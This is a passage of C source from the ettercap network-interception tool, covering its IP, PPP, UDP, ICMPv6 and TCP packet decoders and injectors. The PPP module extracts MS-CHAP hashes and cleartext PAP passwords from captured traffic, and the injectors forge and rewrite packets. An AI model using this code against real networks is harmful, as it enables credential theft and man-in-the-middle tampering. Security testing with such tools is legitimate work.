add_decoder(PROTO_LAYER, NL_TYPE_IPIP, decode_ip); add_decoder(NET_LAYER, LL_TYPE_PPP_IP, decode_ip); add_injector(CHAIN_LINKED, IP_MAGIC, inject_ip); add_injector(CHAIN_LINKED, STATELESS_IP_MAGIC, stateless_ip); } FUNC_DECODER(decode_ip) { FUNC_DECODER_PTR(next_decoder); struct ip_header *ip; struct ec_session *s = NULL; void *ident = NULL; struct ip_status *status = NULL; u_int32 t_len; u_int16 sum; ip = (struct ip_header *)DECODE_DATA; DECODED_LEN = (u_int32)(ip->ihl * 4); if (DECODED_LEN < 20) { // invalid header length return NULL; } /* IP addresses */ ip_addr_init(&PACKET->L3.src, AF_INET, (u_char *)&ip->saddr); ip_addr_init(&PACKET->L3.dst, AF_INET, (u_char *)&ip->daddr); /* this is needed at upper layer to calculate the tcp payload size */ /* check bogus size */ t_len = (u_int32) ntohs(ip->tot_len); if (t_len < (u_int32)DECODED_LEN || (DECODE_DATA + t_len) > (PACKET->packet + PACKET->len) ) return NULL; PACKET->L3.payload_len = t_len - DECODED_LEN; /* other relevant infos */ PACKET->L3.header = (u_char *)DECODE_DATA; PACKET->L3.len = DECODED_LEN; /* parse the options */ if ( (u_int32)(ip->ihl * 4) > sizeof(struct ip_header)) { PACKET->L3.options = (u_char *)(DECODE_DATA) + sizeof(struct ip_header); PACKET->L3.optlen = (u_int32)(ip->ihl * 4) - sizeof(struct ip_header); } else { PACKET->L3.options = NULL; PACKET->L3.optlen = 0; } PACKET->L3.proto = htons(LL_TYPE_IP); PACKET->L3.ttl = ip->ttl; /* First IP decoder set its header as packet to be forwarded */ if (PACKET->fwd_packet == NULL) { /* Don't parse packets we have forwarded */ EXECUTE(EC_GBL_SNIFF->check_forwarded, PACKET); if (PACKET->flags & PO_FORWARDED) return NULL; /* set PO_FORWARDABLE flag */ EXECUTE(EC_GBL_SNIFF->set_forwardable, PACKET); /* set the pointer to the data to be forwarded at layer 3 */ PACKET->fwd_packet = (u_char *)DECODE_DATA; /* the len will be adjusted later...just in case of a brutal return */ PACKET->fwd_len = t_len; } /* XXX - implement the handling of fragmented packet */ /* don't process fragmented packets */ if (ntohs(ip->frag_off) & IP_FRAG || ntohs(ip->frag_off) & IP_MF) return NULL; /* * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum should be 0 ;) * * don't perform the check in unoffensive mode */ if (EC_GBL_CONF->checksum_check) { if (!EC_GBL_OPTIONS->unoffensive && (sum = L3_checksum(PACKET->L3.header, PACKET->L3.len)) != CSUM_RESULT) { if (EC_GBL_CONF->checksum_warning) USER_MSG("Invalid IP packet from %s : csum [%#x] should be (%#x)\n", int_ntoa(ip->saddr), ntohs(ip->csum), checksum_shouldbe(ip->csum, sum)); return NULL; } } /* if it is a TCP packet, try to passive fingerprint it */ if (ip->protocol == NL_TYPE_TCP) { /* initialize passive fingerprint */ fingerprint_default(PACKET->PASSIVE.fingerprint); /* collect infos for passive fingerprint */ fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TTL, ip->ttl); fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_DF, ntohs(ip->frag_off) & IP_DF); fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_LT, ip->ihl * 4); } /* calculate if the dest is local or not */ switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { case E_SUCCESS: PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); PACKET->PASSIVE.flags |= FP_HOST_LOCAL; break; case -E_NOTFOUND: PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; break; case -E_INVALID: PACKET->PASSIVE.flags = FP_UNKNOWN; break; } /* HOOK POINT: HOOK_PACKET_IP */ hook_point(HOOK_PACKET_IP, po); /* don't save the sessions in unoffensive mode */ if (EC_GBL_FILTERS && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read) { /* Find or create the correct session */ ip_create_ident(&ident, PACKET); if (session_get(&s, ident, IP_IDENT_LEN) == -E_NOTFOUND) { ip_create_session(&s, PACKET); session_put(s); } SAFE_FREE(ident); SESSION_PASSTHRU(s, PACKET); /* Record last packet's ID */ status = (struct ip_status *)s->data; status->last_id = ntohs(ip->id); } /* Jump to next Layer */ next_decoder = get_decoder(PROTO_LAYER, ip->protocol); EXECUTE_DECODER(next_decoder); /* don't save the sessions in unoffensive mode */ if (EC_GBL_FILTERS && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read && (PACKET->flags & PO_FORWARDABLE)) { /* * Modification checks and adjustments. * - ip->id according to number of injected/dropped packets * - ip->len according to upper layer's payload modification */ if (PACKET->flags & PO_DROPPED) status->id_adj--; else if ((PACKET->flags & PO_MODIFIED) || (status->id_adj != 0)) { /* se the correct id for this packet */ ORDER_ADD_SHORT(ip->id, status->id_adj); /* adjust the packet length */ ORDER_ADD_SHORT(ip->tot_len, PACKET->DATA.delta); /* * In case some upper level encapsulated * ip decoder modified it... (required for checksum) */ PACKET->L3.header = (u_char *)ip; PACKET->L3.len = (u_int32)(ip->ihl * 4); /* ...recalculate checksum */ ip->csum = CSUM_INIT; ip->csum = L3_checksum(PACKET->L3.header, PACKET->L3.len); } } /* Last ip decoder in cascade will set the correct fwd_len */ PACKET->fwd_len = ntohs(ip->tot_len); return NULL; } /*******************************************/ FUNC_INJECTOR(inject_ip) { struct ec_session *s = NULL; struct ip_status *status; struct ip_header *iph; size_t further_len, payload_len; u_int32 magic; /* Paranoid check */ if (LENGTH + sizeof(struct ip_header) > EC_GBL_IFACE->mtu) return -E_NOTHANDLED; /* Make space for ip header on packet stack... */ PACKET->packet -= sizeof(struct ip_header); /* ..and fill it */ iph = (struct ip_header *)PACKET->packet; iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->csum = CSUM_INIT; iph->frag_off = 0; iph->ttl = 64; iph->protocol = PACKET->L4.proto; iph->saddr = *PACKET->L3.src.addr32; iph->daddr = *PACKET->L3.dst.addr32; /* Take the session and fill remaining fields */ s = PACKET->session; status = (struct ip_status *)s->data; iph->id = htons(status->last_id + status->id_adj + 1); /* Renew session timestamp (XXX it locks the sessions) */ if (session_get(&s, s->ident, IP_IDENT_LEN) == -E_NOTFOUND) return -E_NOTFOUND; /* Adjust headers length */ LENGTH += sizeof(struct ip_header); /* Rember length of further headers */ further_len = LENGTH; if (s->prev_session != NULL) { /* Prepare data for next injector */ PACKET->session = s->prev_session; memcpy(&magic, s->prev_session->ident, 4); /* Go deeper into injectors chain */ EXECUTE_INJECTOR(CHAIN_LINKED, magic); } /* Update session */ status->id_adj ++; /* Guess payload_len that will be used by ENTRY injector */ payload_len = EC_GBL_IFACE->mtu - LENGTH; if (payload_len > PACKET->DATA.inject_len) payload_len = PACKET->DATA.inject_len; /* Set tot_len field as further header's len + payload */ PACKET->L3.len = further_len + payload_len; iph->tot_len = htons(PACKET->L3.len); /* Calculate checksum */ PACKET->L3.header = (u_char *)iph; iph->csum = L3_checksum(PACKET->L3.header, PACKET->L3.len); /* Set fields to forward the packet (only if the chain is ended) */ if (s->prev_session == NULL) { PACKET->fwd_packet = PACKET->packet; PACKET->fwd_len = PACKET->L3.len; } /* Injectors executed, no need to keep the session */ session_del(s->ident, IP_IDENT_LEN); return E_SUCCESS; } /* Used to link sessionless udp with correct ip session */ FUNC_INJECTOR(stateless_ip) { struct ec_session *s = NULL; void *ident = NULL; /* Find the correct IP session */ ip_create_ident(&ident, PACKET); if (session_get(&s, ident, IP_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return -E_NOTFOUND; } PACKET->session = s; /* Execute IP injector */ EXECUTE_INJECTOR(CHAIN_LINKED, IP_MAGIC); SAFE_FREE(ident); return E_SUCCESS; } /*******************************************/ /* Sessions' stuff for ip packets */ /* * create the ident for a session */ size_t ip_create_ident(void **i, struct packet_object *po) { struct ip_ident *ident; /* allocate the ident for that session */ SAFE_CALLOC(ident, 1, sizeof(struct ip_ident)); /* the magic */ ident->magic = IP_MAGIC; /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); /* return the ident */ *i = ident; /* return the length of the ident */ return sizeof(struct ip_ident); } /* * compare two session ident * * return 1 if it matches */ int ip_match(void *id_sess, void *id_curr) { struct ip_ident *ids = id_sess; struct ip_ident *id = id_curr; /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; /* Check the source */ if ( !ip_addr_cmp(&ids->L3_src, &id->L3_src) ) return 1; return 0; } /* * prepare the ident and the pointer to match function * for ip layer. */ void ip_create_session(struct ec_session **s, struct packet_object *po) { void *ident; DEBUG_MSG("ip_create_session"); /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); /* create the ident */ (*s)->ident_len = ip_create_ident(&ident, po); /* link to the session */ (*s)->ident = ident; /* the matching function */ (*s)->match = &ip_match; /* alloc of data element */ SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_status)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_ppp.c0000644000175000017500000002076713505247364017435 0ustar koeppeakoeppea/* ettercap -- PPP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* globals */ struct ppp_header { u_char address; u_char control; u_int16 proto; }; struct ppp_lcp_header { u_char code; u_char ident; u_int16 length; }; struct ppp_chap_challenge { u_char size; union { u_char challenge_v1[8]; u_char challenge_v2[16]; struct { u_char lanman[24]; u_char nt[24]; u_char flag; } response_v1; struct { u_char peer_challenge[16]; u_char reserved[8]; u_char nt[24]; u_char flag; } response_v2; } value; }; #define PPP_PROTO_IP 0x0021 #define PPP_PROTO_CHAP 0xc223 #define PPP_PROTO_PAP 0xc023 #define PPP_PROTO_LCP 0xc021 #define PPP_PROTO_ECP 0x8053 #define PPP_PROTO_CCP 0x80fd #define PPP_PROTO_IPCP 0x8021 #define PPP_CHAP_CODE_CHALLENGE 1 #define PPP_CHAP_CODE_RESPONSE 2 /* protos */ FUNC_DECODER(decode_ppp); FUNC_ALIGNER(align_ppp); void ppp_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ppp_init(void) { add_decoder(LINK_LAYER, IL_TYPE_PPP, decode_ppp); add_aligner(IL_TYPE_PPP, align_ppp); dissect_add("ppp", NET_LAYER, LL_TYPE_PPP, decode_ppp); } FUNC_DECODER(decode_ppp) { FUNC_DECODER_PTR(next_decoder); struct ppp_header *ppph; struct ppp_lcp_header *lcph; struct ppp_chap_challenge *chapch; u_int16 proto; u_int32 i; u_char auth_len; char user[128], dummy[3], temp[128], *pap_auth; static char version=0, schallenge[512]; u_char digest[SHA_DIGEST_LENGTH]; SHA_CTX ctx; ppph = (struct ppp_header *)DECODE_DATA; /* Set the L4 header for the hook */ PACKET->L4.header = (u_char *)DECODE_DATA; /* HOOK POINT: HOOK_PACKET_PPP */ hook_point(HOOK_PACKET_PPP, PACKET); /* We have to guess if header compression was negotiated */ /* XXX - && or || ??? */ if (ppph->address != 0xff && ppph->control != 0x3) { proto = *((u_char *)ppph); if (proto != PPP_PROTO_IP) { proto = ntohs(*((u_int16 *)ppph)); DECODED_LEN = 2; } else DECODED_LEN = 1; } else { proto = ntohs(ppph->proto); DECODED_LEN = sizeof(ppph); if (proto != PPP_PROTO_IP && proto != PPP_PROTO_CHAP && proto != PPP_PROTO_PAP && proto != PPP_PROTO_LCP && proto != PPP_PROTO_ECP && proto != PPP_PROTO_CCP && proto != PPP_PROTO_IPCP) { proto = *((u_char *)ppph + 2); DECODED_LEN = 3; } } /* Set the L4 header to LCP for subsequent hooks */ PACKET->L4.header = (u_char *)(DECODE_DATA + DECODED_LEN); /* XXX - Add standard CHAP parsing */ /* XXX - IPv6 over PPP? */ if (proto == PPP_PROTO_IP) { /* If the payload is an IP packet... */ /* ...get the next decoder */ next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); EXECUTE_DECODER(next_decoder); } else if (proto == PPP_PROTO_CHAP) { /* Parse MSCHAP auth schemes */ lcph = (struct ppp_lcp_header *)(DECODE_DATA + DECODED_LEN); chapch = (struct ppp_chap_challenge *)(lcph + 1); switch (lcph->code) { case PPP_CHAP_CODE_CHALLENGE: if (chapch->size == 8) { schallenge[0]=0; version = 1; for (i=0; i<8; i++) { snprintf(dummy, 3, "%02X", chapch->value.challenge_v1[i]); strcat(schallenge, dummy); } } else if (chapch->size == 16) { version = 2; memcpy (schallenge, chapch->value.challenge_v2, chapch->size); } else version = 0; break; case PPP_CHAP_CODE_RESPONSE: if (version != 1 && version !=2) break; i = ntohs(lcph->length) - 5 - chapch->size; if (i > sizeof(user)-2) i = sizeof(user)-2; memcpy(user, (u_char *)lcph + 5 + chapch->size, i); user[i] = '\0'; /* Check if it's from PPP or PPTP */ if (!ip_addr_null(&PACKET->L3.dst) && !ip_addr_null(&PACKET->L3.src)) { DISSECT_MSG("\n\nTunnel PPTP: %s -> ", ip_addr_ntoa(&PACKET->L3.src, temp)); DISSECT_MSG("%s\n", ip_addr_ntoa(&PACKET->L3.dst, temp)); } DISSECT_MSG("PPP*MS-CHAP Password*%s:$MSCHAPv2$", user); if (version == 1) { for (i = 0; i < 24; i++) DISSECT_MSG("%02X", chapch->value.response_v1.lanman[i]); DISSECT_MSG(":"); for (i = 0; i < 24; i++) DISSECT_MSG("%02X", chapch->value.response_v1.nt[i]); DISSECT_MSG(":%s\n\n",schallenge); } else if (version == 2) { /*#ifdef HAVE_OPENSSL */ char *p; if ((p = strchr(user, '\\')) == NULL) p = user; else p++; SHA1_Init(&ctx); SHA1_Update(&ctx, chapch->value.response_v2.peer_challenge, 16); SHA1_Update(&ctx, schallenge, 16); SHA1_Update(&ctx, p, strlen(p)); SHA1_Final(digest, &ctx); for (i = 0; i < 8; i++) DISSECT_MSG("%02X", digest[i]); DISSECT_MSG("$"); for (i = 0; i < 24; i++) DISSECT_MSG("%02X",chapch->value.response_v2.nt[i]); DISSECT_MSG("$%s\n\n", user); /*#else for (i = 0; i < 16; i++) DISSECT_MSG("%02X", schallenge[i]); DISSECT_MSG("$"); for (i = 0; i < 24; i++) DISSECT_MSG("%02X",chapch->value.response_v2.nt[i]); DISSECT_MSG("$"); for (i = 0; i < 16; i++) DISSECT_MSG("%02X",chapch->value.response_v2.peer_challenge[i]); DISSECT_MSG("$%s\n\n", user); #endif*/ } version = 0; break; } } else if (proto == PPP_PROTO_PAP) { /* Parse PAP auth scheme */ lcph = (struct ppp_lcp_header *)(DECODE_DATA + DECODED_LEN); pap_auth = (char *)(lcph + 1); if (lcph->code == 1) { /* Check if it's from PPP or PPTP */ if (!ip_addr_null(&PACKET->L3.dst) && !ip_addr_null(&PACKET->L3.src)) { DISSECT_MSG("\n\nTunnel PPTP: %s -> ", ip_addr_ntoa(&PACKET->L3.src, temp)); DISSECT_MSG("%s\n", ip_addr_ntoa(&PACKET->L3.dst, temp)); } DISSECT_MSG("PPP : PAP User: "); auth_len = *pap_auth; if (auth_len > sizeof(temp)-2) auth_len = sizeof(temp)-2; pap_auth++; memcpy(temp, pap_auth, auth_len); temp[auth_len] = 0; DISSECT_MSG("%s\n",temp); pap_auth += auth_len; auth_len = *pap_auth; pap_auth++; if (auth_len > sizeof(temp)-2) auth_len = sizeof(temp)-2; memcpy(temp, pap_auth, auth_len); temp[auth_len] = 0; DISSECT_MSG("PPP : PAP Pass: %s\n\n", temp); } } else if (proto == PPP_PROTO_LCP) { /* HOOK POINT: HOOK_PACKET_LCP */ hook_point(HOOK_PACKET_LCP, PACKET); } else if (proto == PPP_PROTO_ECP || proto == PPP_PROTO_CCP) { /* HOOK POINT: HOOK_PACKET_ECP */ hook_point(HOOK_PACKET_ECP, PACKET); } else if (proto == PPP_PROTO_IPCP) { /* HOOK POINT: HOOK_PACKET_IPCP */ hook_point(HOOK_PACKET_IPCP, PACKET); } return NULL; } FUNC_ALIGNER(align_ppp) { // should be file only. nothing to align return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_rawip.c0000644000175000017500000000343513505247364017751 0ustar koeppeakoeppea/* ettercap -- Raw IP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ /* protos */ FUNC_DECODER(decode_rawip); FUNC_ALIGNER(align_rawip); void rawip_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init rawip_init(void) { add_decoder(LINK_LAYER, IL_TYPE_RAWIP, decode_rawip); add_aligner(IL_TYPE_RAWIP, align_rawip); } FUNC_DECODER(decode_rawip) { FUNC_DECODER_PTR(next_decoder); DECODED_LEN = 0; /* * there is no L2 header, it is raw ip, * so skip the L2 and invoke directly * the L3 dissector */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_RAWIP; PACKET->L2.len = DECODED_LEN; next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); EXECUTE_DECODER(next_decoder); return NULL; } /* * alignment function */ FUNC_ALIGNER(align_rawip) { /* already aligned */ return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_udp.c0000644000175000017500000001373713505247364017425 0ustar koeppeakoeppea/* ettercap -- UDP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct udp_header { u_int16 sport; /* source port */ u_int16 dport; /* destination port */ u_int16 ulen; /* udp length */ u_int16 csum; /* udp checksum */ }; /* protos */ FUNC_DECODER(decode_udp); FUNC_INJECTOR(inject_udp); void udp_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init udp_init(void) { add_decoder(PROTO_LAYER, NL_TYPE_UDP, decode_udp); add_injector(CHAIN_ENTRY, NL_TYPE_UDP, inject_udp); } FUNC_DECODER(decode_udp) { FUNC_DECODER_PTR(next_decoder); struct udp_header *udp; u_int16 sum; udp = (struct udp_header *)DECODE_DATA; DECODED_LEN = sizeof(struct udp_header); /* source and dest port */ PACKET->L4.src = udp->sport; PACKET->L4.dst = udp->dport; PACKET->L4.len = DECODED_LEN; PACKET->L4.header = (u_char *)DECODE_DATA; PACKET->L4.options = NULL; /* this is UDP */ PACKET->L4.proto = NL_TYPE_UDP; /* set up the data poiters */ PACKET->DATA.data = ((u_char *)udp) + sizeof(struct udp_header); /* check for bogus len */ if (ntohs(udp->ulen) < (u_int16)sizeof(struct udp_header) || ntohs(udp->ulen) > PACKET->L3.payload_len) return NULL; PACKET->DATA.len = ntohs(udp->ulen) - (u_int16)sizeof(struct udp_header); /* create the buffer to be displayed */ packet_disp_data(PACKET, PACKET->DATA.data, PACKET->DATA.len); /* * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum is should be CSUM_RESULT and not equal to udp->csum ;) * * don't perform the check in unoffensive mode */ if (EC_GBL_CONF->checksum_check) { if (!EC_GBL_OPTIONS->unoffensive && (sum = L4_checksum(PACKET)) != CSUM_RESULT) { char tmp[MAX_ASCII_ADDR_LEN]; #if defined(OS_DARWIN) || defined(OS_WINDOWS) || defined(OS_LINUX) /* * XXX - hugly hack here ! Mac OS X really sux * * Packets transmitted on interfaces with TCP checksum offloading * don't have valid checksums as presented to the machine's packet-capture * mechanism, as those packets are wrapped around internally rather * than being captured after passing through the network interface, as * the OS doesn't bother computing the checksum and adding it to the packet * it leaves that up to the network interface. * (taken from a bug report by Guy Harris - libpcap engineer) * * For Windows at least, TCP checksum off-loading can be disabled with a * registry setting. * * if the source is the ettercap host, don't display the message */ if (ip_addr_is_ours(&PACKET->L3.src) == E_FOUND || ip_addr_is_ours(&PACKET->L3.src) == E_BRIDGE) return NULL; #endif if (EC_GBL_CONF->checksum_warning) USER_MSG("Invalid UDP packet from %s:%d : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(udp->sport), ntohs(udp->csum), checksum_shouldbe(udp->csum, sum)); return NULL; } } /* HOOK POINT: HOOK_PACKET_UDP */ hook_point(HOOK_PACKET_UDP, po); /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); /* * in unoffensive mode the filters don't touch * the packet, so we don't have to check here * for unoffensive option */ /* Adjustments after filters */ if ((PACKET->flags & PO_MODIFIED) && (PACKET->flags & PO_FORWARDABLE)) { /* Recalculate checksum */ udp->csum = CSUM_INIT; udp->csum = L4_checksum(PACKET); } return NULL; } /*******************************************/ FUNC_INJECTOR(inject_udp) { struct udp_header *udph; u_char *udp_payload; /* Rember where the payload has to start */ udp_payload = PACKET->packet; /* Allocate stack for tcp header */ PACKET->packet -= sizeof(struct udp_header); /* Create the udp header */ udph = (struct udp_header *)PACKET->packet; udph->sport = PACKET->L4.src; udph->dport = PACKET->L4.dst; udph->csum = CSUM_INIT; /* * Go deeper into injectors chain. * XXX We assume next layer is IP. */ LENGTH += sizeof(struct udp_header); PACKET->session = NULL; EXECUTE_INJECTOR(CHAIN_LINKED, STATELESS_IP_MAGIC); /* * Attach the data (LENGTH was adjusted by LINKED injectors). * Set LENGTH to injectable data len. */ LENGTH = EC_GBL_IFACE->mtu - LENGTH; if (LENGTH > PACKET->DATA.inject_len) LENGTH = PACKET->DATA.inject_len; memcpy(udp_payload, PACKET->DATA.inject, LENGTH); /* Set datagram len and calculate checksum */ PACKET->L4.header = (u_char *)udph; PACKET->L4.len = sizeof(struct udp_header); PACKET->DATA.len = LENGTH; udph->ulen = htons(PACKET->DATA.len + PACKET->L4.len); udph->csum = L4_checksum(PACKET); return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_icmp6.c0000644000175000017500000000552113505247364017643 0ustar koeppeakoeppea/* ettercap - ICMPv6 decoder module Copyright (C) the braindamaged entities collective GPL blah-blah-blah */ #include #include #include struct icmp6_hdr { u_int8 type; u_int8 code; u_int16 csum; /* other stuff lies here */ }; struct lla { u_int8 type; #define LLA_SOURCE 1 #define LLA_TARGET 2 u_int8 len; }; FUNC_DECODER(decode_icmp6); void icmp6_init(void); void __init icmp6_init(void) { add_decoder(PROTO_LAYER, NL_TYPE_ICMP6, decode_icmp6); } FUNC_DECODER(decode_icmp6) { FUNC_DECODER_PTR(next_decoder); struct icmp6_hdr *icmp6; u_int16 csum; icmp6 = (struct icmp6_hdr*)DECODE_DATA; PACKET->L4.proto = NL_TYPE_ICMP6; /* since ICMPv6 header has no such field */ PACKET->L4.len = PACKET->L3.payload_len; PACKET->L4.header = (u_char *)DECODE_DATA; /* This fields may be initialized later */ PACKET->L4.options = NULL; PACKET->L4.optlen = 0; /* Why not? */ PACKET->L4.flags = icmp6->type; DECODED_LEN = sizeof(struct icmp6_hdr); /* this sucked. Now it sucks less. */ if(EC_GBL_CONF->checksum_check && !EC_GBL_OPTIONS->unoffensive) { if((csum = L4_checksum(PACKET)) != CSUM_RESULT) { if(EC_GBL_CONF->checksum_warning) { char tmp[MAX_ASCII_ADDR_LEN]; USER_MSG("Invalid ICMPv6 packet from %s : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(icmp6->csum), checksum_shouldbe(icmp6->csum, csum)); } return NULL; } } /* * trying to detect a router */ switch(icmp6->type) { case ICMP6_ROUTER_ADV: case ICMP6_PKT_TOO_BIG: PACKET->PASSIVE.flags |= FP_ROUTER; break; case ICMP6_NEIGH_ADV: if ((*((u_int8*)icmp6 + 4) & 0x80) == 0x80) { /* Router flag set in neighbor advertisement */ PACKET->PASSIVE.flags |= FP_ROUTER; PACKET->PASSIVE.flags |= FP_GATEWAY; } break; } hook_point(HOOK_PACKET_ICMP6, po); /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); if(icmp6->type == ICMP6_NEIGH_SOL || icmp6->type == ICMP6_NEIGH_ADV) { PACKET->L4.options = (u_char*)(icmp6) + 4; PACKET->L4.optlen = PACKET->L4.len - sizeof(struct icmp6_hdr) - 4; } /* * Here come the hooks */ switch(icmp6->type) { case ICMP6_NEIGH_SOL: hook_point(HOOK_PACKET_ICMP6_NSOL, PACKET); break; case ICMP6_NEIGH_ADV: hook_point(HOOK_PACKET_ICMP6_NADV, PACKET); break; case ICMP6_ECHOREPLY: hook_point(HOOK_PACKET_ICMP6_RPLY, PACKET); break; case ICMP6_BAD_PARAM: hook_point(HOOK_PACKET_ICMP6_PARM, PACKET); break; } return NULL; } ettercap-0.8.3/src/protocols/ec_tcp.c0000644000175000017500000003745013505247364017421 0ustar koeppeakoeppea/* ettercap -- TCP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* globals */ struct tcp_header { u_int16 sport; /* source port */ u_int16 dport; /* destination port */ u_int32 seq; /* sequence number */ u_int32 ack; /* acknowledgement number */ #ifndef WORDS_BIGENDIAN u_int8 x2:4; /* (unused) */ u_int8 off:4; /* data offset */ #else u_int8 off:4; /* data offset */ u_int8 x2:4; /* (unused) */ #endif u_int8 flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 /* rfc 2481/3168 */ #define TH_CWR 0x80 /* rfc 2481/3168 */ u_int16 win; /* window */ u_int16 csum; /* checksum */ u_int16 urp; /* urgent pointer */ }; /* tcp options */ #define TCPOPT_EOL 0 #define TCPOPT_NOP 1 #define TCPOPT_MAXSEG 2 #define TCPOPT_WSCALE 3 #define TCPOPT_SACKOK 4 #define TCPOPT_TIMESTAMP 8 /* Session identifier * It has to be even-lengthed for session hash matching */ struct tcp_ident { u_int32 magic; #define TCP_MAGIC 0x0400e77e struct ip_addr L3_src; struct ip_addr L3_dst; u_int16 L4_src; u_int16 L4_dst; }; #define TCP_IDENT_LEN sizeof(struct tcp_ident) /* protos */ FUNC_DECODER(decode_tcp); FUNC_INJECTOR(inject_tcp); void tcp_init(void); int tcp_match(void *id_sess, void *id_curr); void tcp_create_session(struct ec_session **s, struct packet_object *po); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init tcp_init(void) { add_decoder(PROTO_LAYER, NL_TYPE_TCP, decode_tcp); add_injector(CHAIN_ENTRY, NL_TYPE_TCP, inject_tcp); } FUNC_DECODER(decode_tcp) { FUNC_DECODER_PTR(next_decoder); struct tcp_header *tcp; u_char *opt_start, *opt_end; struct ec_session *s = NULL; void *ident = NULL; struct tcp_status *status = NULL; int direction = 0; u_int16 sum; tcp = (struct tcp_header *)DECODE_DATA; opt_start = (u_char *)(tcp + 1); opt_end = (u_char*)tcp + tcp->off * 4; DECODED_LEN = (u_int32)(tcp->off * 4); /* source and dest port */ PACKET->L4.src = tcp->sport; PACKET->L4.dst = tcp->dport; PACKET->L4.len = DECODED_LEN; PACKET->L4.header = (u_char *)DECODE_DATA; if (opt_start < opt_end) { PACKET->L4.options = opt_start; PACKET->L4.optlen = opt_end - opt_start; } else { PACKET->L4.options = NULL; PACKET->L4.optlen = 0; } /* this is TCP */ PACKET->L4.proto = NL_TYPE_TCP; /* save the flags */ PACKET->L4.flags = tcp->flags; /* save the seq number */ PACKET->L4.seq = tcp->seq; PACKET->L4.ack = tcp->ack; /* set up the data pointers */ PACKET->DATA.data = opt_end; if (PACKET->L3.payload_len < (u_int32)DECODED_LEN) return NULL; PACKET->DATA.len = PACKET->L3.payload_len - DECODED_LEN; /* create the buffer to be displayed */ packet_disp_data(PACKET, PACKET->DATA.data, PACKET->DATA.len); /* * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum is should be CSUM_RESULT and not equal to tcp->csum ;) * * don't perform the check in unoffensive mode */ if (EC_GBL_CONF->checksum_check) { if (!EC_GBL_OPTIONS->unoffensive && (sum = L4_checksum(PACKET)) != CSUM_RESULT) { char tmp[MAX_ASCII_ADDR_LEN]; #if defined(OS_DARWIN) || defined (OS_WINDOWS) || 